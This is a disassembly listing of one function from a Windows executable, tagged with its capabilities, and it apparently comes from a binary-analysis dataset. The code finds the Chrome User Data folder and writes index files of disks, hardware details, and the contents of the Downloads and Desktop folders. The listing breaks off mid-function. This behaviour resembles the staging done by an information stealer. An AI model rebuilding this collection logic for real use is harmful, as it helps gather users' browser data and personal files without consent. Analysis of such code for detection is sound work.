Function at 0x415010
Capabilities:
Create directory
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e5e5e
mov eax, dword fs:[0]
push eax
sub esp, 0x378
mov eax, dword [0x4fc040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x20000
push 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
push eax
call edi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__setmode]
add esp, 8
push eax
call esi
add esp, 8
push 0x20000
push 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push eax
call edi
add esp, 8
push eax
call esi
add esp, 8
push 0x20000
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push eax
call edi
add esp, 8
push eax
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add esp, 8
push 0x40f7f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov edx, 0x4e8710
lea ecx, [ebp - 0x230]
call fcn.00411300
cmp dword [eax + 0x14], 7
jbe 0x4150c9
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [ebp - 0x230]
call fcn.00402b60
push 0x104
push dword [0x4feb34]
push str.LOCALAPPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, dword [0x4feb34]
add edi, 0xfffffffe
lea edx, [edi + 2]
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x415100
mov ecx, 0xd
mov dword [0x4feb34], edx
mov esi, str.GoogleChromeUser_Data_
mov edx, str.Chrome_path_
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00418fd0
mov edx, dword [0x4feb34]
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Is_exists_
call fcn.00418fd0
push dword [0x4feb34]
lea ecx, [ebp - 0x230]
mov esi, eax
call fcn.00418ba0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0
call fcn.004109f0
mov edi, 0x4e8a34
test al, al
mov ecx, str.false
mov edx, edi
cmove edx, ecx
mov ecx, esi
call fcn.00418fd0
mov edx, 0x4e8a30
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
mov edx, 0x4e8a68
lea ecx, [ebp - 0x230]
call fcn.00411300
mov ecx, eax
cmp dword [ecx + 0x14], 7
jbe 0x4151d8
mov ecx, dword [ecx]
mov esi, dword [0x4feb3c]
mov edx, esi
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [ecx + edx - 2], ax
test ax, ax
jne 0x4151e2
lea ecx, [ebp - 0x230]
mov dword [0x4feb3c], esi
call fcn.00402b60
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Self_path_
call fcn.00418fd0
mov edx, dword [0x4feb3c]
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Is_exists_
call fcn.00418fd0
push dword [0x4feb3c]
lea ecx, [ebp - 0x230]
mov esi, eax
call fcn.00418ba0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 1
call fcn.004109f0
test al, al
mov edx, edi
mov eax, str.false
mov ecx, esi
cmove edx, eax
call fcn.00418fd0
mov edx, 0x4e8a30
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Indexing_disks...
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov edx, str.tmpdisks.txt
lea ecx, [ebp - 0x230]
call fcn.00411300
mov ecx, eax
mov dword [ebp - 4], 2
cmp dword [ecx + 0x14], 7
jbe 0x4152db
mov ecx, dword [ecx]
mov esi, dword [0x4feb44]
mov edx, esi
sub edx, ecx
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x4152e5
push ecx
push 2
push esi
mov ecx, 0x4fc2b4
call fcn.00417f00
test eax, eax
mov eax, dword [0x4fc2b0]
push 0
mov ecx, dword [eax + 4]
je 0x415320
add ecx, 0x4fc2b0
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::clear_int__bool_]
jmp 0x41532e
add ecx, 0x4fc2b0
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
mov eax, dword [0x4fc2b0]
lea ecx, [ebp - 0x36c]
sub esp, 8
mov esi, dword [eax + 4]
add esi, 0x4fc2b0
call fcn.0040f650
push eax
lea eax, [ebp - 0x354]
mov dword [ebp - 4], 3
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::imbue_class_std::locale_const__]
mov ecx, dword [ebp - 0x350]
test ecx, ecx
je 0x415392
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x415392
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x368]
test ecx, ecx
je 0x4153b8
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x4153b8
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.File_path_
call fcn.00418fd0
mov edx, dword [0x4feb44]
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Is_exists_
call fcn.00418fd0
push dword [0x4feb44]
lea ecx, [ebp - 0x230]
mov esi, eax
call fcn.00418ba0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 4
call fcn.004109f0
test al, al
mov edx, edi
mov eax, str.false
mov ecx, esi
cmove edx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
cmp dword [0x4fc300], 0
je 0x415510
mov eax, dword [0x4fc2b0]
mov ecx, dword [eax + 4]
add ecx, 0x4fc2b0
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
test al, al
je 0x415510
lea ecx, [ebp - 0x224]
call fcn.004115d0
mov dword [ebp - 4], 5
mov esi, dword [ebp - 0x224]
mov edi, dword [ebp - 0x220]
cmp esi, edi
je 0x4154f9
push esi
lea ecx, [ebp - 0x248]
call fcn.00417b60
lea eax, [ebp - 0x260]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x248]
call fcn.0040faa0
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 7
jbe 0x4154c0
mov eax, dword [eax]
mov edx, eax
mov ecx, 0x4fc2b0
call fcn.00418fd0
mov edx, 0x4e8a30
mov ecx, eax
call fcn.00418fd0
lea ecx, [ebp - 0x260]
call fcn.00402b60
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 5
call fcn.00402b60
add esi, 0x18
cmp esi, edi
jne 0x415492
lea ecx, [ebp - 0x224]
mov dword [ebp - 4], 0xffffffff
call fcn.00417700
mov edi, 0x4e8a34
mov ecx, 0x4fc2b4
call fcn.00417e70
test eax, eax
jne 0x415536
mov eax, dword [0x4fc2b0]
push 0
push 2
mov ecx, dword [eax + 4]
add ecx, 0x4fc2b0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
call fcn.00410c60
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4e76a1
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x208
call fcn.004e328d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add esp, 4
mov edx, str.Indexing_PC_info...
mov dword [0x4feb44], eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov edx, str.tmppcinfo.txt
lea ecx, [ebp - 0x230]
call fcn.00411300
mov ecx, eax
mov dword [ebp - 4], 8
cmp dword [ecx + 0x14], 7
jbe 0x4155a6
mov ecx, dword [ecx]
mov esi, dword [0x4feb44]
mov edx, esi
sub edx, ecx
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x4155b0
push ecx
push 2
push esi
mov ecx, 0x4fc2b4
call fcn.00417f00
test eax, eax
mov eax, dword [0x4fc2b0]
push 0
mov ecx, dword [eax + 4]
je 0x4155eb
add ecx, 0x4fc2b0
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::clear_int__bool_]
jmp 0x4155f9
add ecx, 0x4fc2b0
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
mov eax, dword [0x4fc2b0]
lea ecx, [ebp - 0x36c]
sub esp, 8
mov esi, dword [eax + 4]
add esi, 0x4fc2b0
call fcn.0040f650
push eax
lea eax, [ebp - 0x354]
mov dword [ebp - 4], 9
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::imbue_class_std::locale_const__]
mov ecx, dword [ebp - 0x350]
test ecx, ecx
je 0x41565d
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x41565d
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x368]
test ecx, ecx
je 0x415683
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x415683
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.File_path_
call fcn.00418fd0
mov edx, dword [0x4feb44]
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Is_exists_
call fcn.00418fd0
push dword [0x4feb44]
lea ecx, [ebp - 0x230]
mov esi, eax
call fcn.00418ba0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0xa
call fcn.004109f0
test al, al
mov edx, edi
mov eax, str.false
mov ecx, esi
cmove edx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
cmp dword [0x4fc300], 0
je 0x415a0b
mov eax, dword [0x4fc2b0]
mov ecx, dword [eax + 4]
add ecx, 0x4fc2b0
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
test al, al
je 0x415a0b
lea eax, [ebp - 0x298]
push eax
call fcn.00414360
add esp, 4
mov edi, 0x4e8b38
mov esi, 0x4e8b38
mov edx, str.MOTHERBOARD:_n_
mov ecx, 0x4fc2b0
movups xmm0, xmmword [eax]
movups xmm1, xmmword [eax + 0x10]
movups xmmword [ebp - 0x228], xmm0
movups xmmword [ebp - 0x2e0], xmm0
movq xmm0, qword [eax + 0x20]
mov eax, dword [eax + 0x28]
movq qword [ebp - 0x2c0], xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
mov dword [ebp - 0x368], eax
movd eax, xmm0
movaps xmm0, xmm1
psrldq xmm0, 4
movups xmmword [ebp - 0x35c], xmm1
test eax, eax
cmovne edi, eax
movd eax, xmm0
test eax, eax
cmovne esi, eax
call fcn.00418fd0
mov edx, esi
mov ecx, eax
call fcn.00418cf0
mov edx, str._n_
mov ecx, eax
call fcn.00418cf0
mov edx, edi
mov ecx, eax
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov eax, dword [ebp - 0x2c0]
mov esi, 0x4e8b38
test eax, eax
mov edx, str.CPU:_n_
mov ecx, 0x4fc2b0
cmovne esi, eax
call fcn.00418fd0
mov edx, esi
mov ecx, eax
call fcn.00418cf0
mov edx, 0x4e8bcc
mov ecx, eax
call fcn.00418fd0
push dword [ebp - 0x2bc]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_int_]
mov edx, 0x4e8bc8
mov ecx, eax
call fcn.00418fd0
movups xmm0, xmmword [ebp - 0x35c]
mov edx, str.32_bit
mov esi, str.64_bit
push dword [ebp - 0x368]
psrldq xmm0, 0xc
movd ecx, xmm0
test cl, cl
mov ecx, eax
cmove esi, edx
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_int_]
mov edx, str._cores_threads_n_
mov ecx, eax
call fcn.00418fd0
mov edx, esi
mov ecx, eax
call fcn.00418fd0
mov edx, str.__program__n
mov ecx, eax
call fcn.00418fd0
mov edx, str.MEM:_n_
mov ecx, 0x4fc2b0
call fcn.00418fd0
mov ecx, dword [ebp - 0x228]
push ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_int_]
mov edx, 0x4e8bc8
mov ecx, eax
call fcn.00418fd0
movups xmm0, xmmword [ebp - 0x228]
psrldq xmm0, 4
movd ecx, xmm0
push ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_int_]
mov edx, str._GB_used_total_
mov ecx, eax
call fcn.00418fd0
movups xmm0, xmmword [ebp - 0x228]
psrldq xmm0, 8
movd ecx, xmm0
push ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
mov edx, 0x4e8c08
mov ecx, eax
call fcn.00418fd0
mov edi, dword [ebp - 0x35c]
mov ecx, eax
push edi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_int_]
mov edx, str._PLATES_MAX:
mov ecx, eax
call fcn.00418fd0
test edi, edi
je 0x4159f7
mov esi, dword [ebp - 0x2d4]
add esi, 0x10
nop dword [eax]
mov eax, dword [esi - 8]
mov edx, 0x4e8bcc
or eax, dword [esi - 4]
mov ecx, 0x4fc2b0
je 0x4159c4
call fcn.00418fd0
mov ecx, dword [esi - 0x10]
mov edx, 0x4e8b38
test ecx, ecx
cmovne edx, ecx
mov ecx, eax
call fcn.00418cf0
mov edx, 0x4e8c58
mov ecx, eax
call fcn.00418fd0
push dword [esi - 4]
mov ecx, eax
push dword [esi - 8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_long_unsigned___int64__]
mov edx, str._GB_
mov ecx, eax
call fcn.00418fd0
mov ecx, dword [esi]
mov edx, 0x4e8b38
test ecx, ecx
cmovne edx, ecx
mov ecx, eax
call fcn.00418cf0
mov edx, 0x4e8c58
mov ecx, eax
call fcn.00418fd0
push dword [esi + 0xc]
mov ecx, eax
push dword [esi + 8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_long_unsigned___int64__]
mov edx, str._MGz_
mov ecx, eax
call fcn.00418fd0
mov ecx, dword [esi + 0x10]
mov edx, 0x4e8b38
test ecx, ecx
cmovne edx, ecx
mov ecx, eax
call fcn.00418cf0
jmp 0x4159e9
call fcn.00418fd0
mov ecx, dword [esi - 0x10]
mov edx, 0x4e8b38
test ecx, ecx
cmovne edx, ecx
mov ecx, eax
call fcn.00418cf0
mov edx, str.__N_A
mov ecx, eax
call fcn.00418fd0
add esi, 0x28
sub edi, 1
jne 0x415920
jmp 0x415a06
mov edx, str._nN_A
mov ecx, 0x4fc2b0
call fcn.00418fd0
mov edi, 0x4e8a34
mov ecx, 0x4fc2b4
call fcn.00417e70
test eax, eax
jne 0x415a31
mov eax, dword [0x4fc2b0]
push 0
push 2
mov ecx, dword [eax + 4]
add ecx, 0x4fc2b0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
call fcn.00410c60
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4e76a1
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x208
call fcn.004e328d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add esp, 4
mov edx, str.Indexing_downloaded_files...
mov dword [0x4feb44], eax
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov edx, str.tmpdownloads.txt
lea ecx, [ebp - 0x364]
call fcn.00411300
mov ecx, eax
mov dword [ebp - 4], 0xb
cmp dword [ecx + 0x14], 7
jbe 0x415aa1
mov ecx, dword [ecx]
mov esi, dword [0x4feb44]
mov edx, esi
sub edx, ecx
nop dword [eax + eax]
movzx eax, word [ecx]
mov word [ecx + edx], ax
add ecx, 2
test ax, ax
jne 0x415ab0
push ecx
push 2
push esi
mov ecx, 0x4fc2b4
call fcn.00417f00
test eax, eax
mov eax, dword [0x4fc2b0]
push 0
mov ecx, dword [eax + 4]
je 0x415aeb
add ecx, 0x4fc2b0
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::clear_int__bool_]
jmp 0x415af9
add ecx, 0x4fc2b0
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
lea ecx, [ebp - 0x364]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
mov eax, dword [0x4fc2b0]
lea ecx, [ebp - 0x36c]
sub esp, 8
mov esi, dword [eax + 4]
add esi, 0x4fc2b0
call fcn.0040f650
push eax
lea eax, [ebp - 0x354]
mov dword [ebp - 4], 0xc
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::imbue_class_std::locale_const__]
mov ecx, dword [ebp - 0x350]
test ecx, ecx
je 0x415b5d
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x415b5d
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x368]
test ecx, ecx
je 0x415b83
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x415b83
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.File_path_
call fcn.00418fd0
mov edx, dword [0x4feb44]
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Is_exists_
call fcn.00418fd0
push dword [0x4feb44]
lea ecx, [ebp - 0x364]
mov esi, eax
call fcn.00418ba0
lea ecx, [ebp - 0x364]
mov dword [ebp - 4], 0xd
call fcn.004109f0
test al, al
mov edx, edi
mov eax, str.false
mov ecx, esi
cmove edx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x364]
call fcn.00402b60
xorps xmm0, xmm0
mov dword [ebp - 0x21c], 0
movq qword [ebp - 0x224], xmm0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
push 0x104
mov dword [ebp - 4], 0xe
push dword [0x4feb48]
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, dword [0x4feb48]
add ecx, 0xfffffffe
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x415c70
mov eax, dword [str.Downloads_]
mov dword [ecx], eax
mov eax, dword [0x4e8cec]
mov dword [ecx + 4], eax
mov eax, dword [0x4e8cf0]
mov dword [ecx + 8], eax
mov eax, dword [0x4e8cf4]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4e8cf8]
push 0
mov dword [ecx + 0x10], eax
sub esp, 0x18
mov eax, dword [0x4e8cfc]
mov dword [ecx + 0x14], eax
mov ecx, esp
mov dword [ebp - 0x348], esp
push ecx
mov dword [0x4feb48], edx
mov byte [ebp - 0x349], 1
call fcn.00419390
sub esp, 0x18
mov byte [ebp - 4], 0xf
mov ecx, esp
push dword [0x4feb48]
call fcn.00418ba0
mov dl, byte [ebp - 0x349]
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0xe
call fcn.00411af0
mov esi, dword [ebp - 0x224]
add esp, 0x34
mov edi, dword [ebp - 0x220]
cmp esi, edi
jne 0x415d40
mov edx, dword [0x4feb48]
mov ecx, 0x4fc2b0
call fcn.00418fd0
mov edx, str._isnt_exist
mov ecx, eax
call fcn.00418fd0
mov edi, dword [ebp - 0x220]
mov esi, dword [ebp - 0x224]
cmp esi, edi
je 0x415dce
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x248]
call fcn.00417b60
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov ecx, esp
lea eax, [ebp - 0x248]
mov dword [ebp - 0x348], ecx
push eax
call fcn.00417b60
call fcn.004117d0
add esp, 0x18
test al, al
jne 0x415db4
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x248]
call fcn.0040faa0
mov byte [ebp - 4], 0x11
cmp dword [eax + 0x14], 7
jbe 0x415d91
mov eax, dword [eax]
mov edx, eax
mov ecx, 0x4fc2b0
call fcn.00418fd0
mov edx, 0x4e8a30
mov ecx, eax
call fcn.00418fd0
lea ecx, [ebp - 0x260]
call fcn.00402b60
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0xe
call fcn.00402b60
add esi, 0x18
cmp esi, edi
jne 0x415d40
mov ecx, 0x4fc2b4
call fcn.00417e70
test eax, eax
jne 0x415df4
mov eax, dword [0x4fc2b0]
push 0
push 2
mov ecx, dword [eax + 4]
add ecx, 0x4fc2b0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
call fcn.00410c60
lea ecx, [ebp - 0x224]
mov dword [ebp - 4], 0xffffffff
call fcn.00417700
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4e76a1
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x208
call fcn.004e328d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add esp, 4
mov edx, str.Indexing_desktop_files...
mov dword [0x4feb44], eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov edx, str.tmpdesktop.txt
lea ecx, [ebp - 0x364]
call fcn.00411300
mov ecx, eax
mov dword [ebp - 4], 0x12
cmp dword [ecx + 0x14], 7
jbe 0x415e76
mov ecx, dword [ecx]
mov esi, dword [0x4feb44]
mov edx, esi
sub edx, ecx
movzx eax, word [ecx]
mov word [ecx + edx], ax
add ecx, 2
test ax, ax
jne 0x415e80
push ecx
push 2
push esi
mov ecx, 0x4fc2b4
call fcn.00417f00
test eax, eax
mov eax, dword [0x4fc2b0]
push 0
mov ecx, dword [eax + 4]
je 0x415ebb
add ecx, 0x4fc2b0
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::clear_int__bool_]
jmp 0x415ec9
add ecx, 0x4fc2b0
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
lea ecx, [ebp - 0x364]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b60
mov eax, dword [0x4fc2b0]
lea ecx, [ebp - 0x36c]
sub esp, 8
mov esi, dword [eax + 4]
add esi, 0x4fc2b0
call fcn.0040f650
push eax
lea eax, [ebp - 0x354]
mov dword [ebp - 4], 0x13
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::imbue_class_std::locale_const__]
mov ecx, dword [ebp - 0x350]
test ecx, ecx
je 0x415f2d
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x415f2d
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x368]
test ecx, ecx
je 0x415f53
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x415f53
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.File_path_
call fcn.00418fd0
mov edx, dword [0x4feb44]
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Is_exists_
call fcn.00418fd0
push dword [0x4feb44]
lea ecx, [ebp - 0x364]
mov esi, eax
call fcn.00418ba0
lea ecx, [ebp - 0x364]
mov dword [ebp - 4], 0x14
call fcn.004109f0
test al, al
mov edx, 0x4e8a34
mov eax, str.false
mov ecx, esi
cmove edx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x364]
call fcn.00402b60
xorps xmm0, xmm0
mov dword [ebp - 0x21c], 0
movq qword [ebp - 0x224], xmm0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
push 0x104
mov dword [ebp - 4], 0x15
push dword [0x4feb38]
push str.USERPROFILE
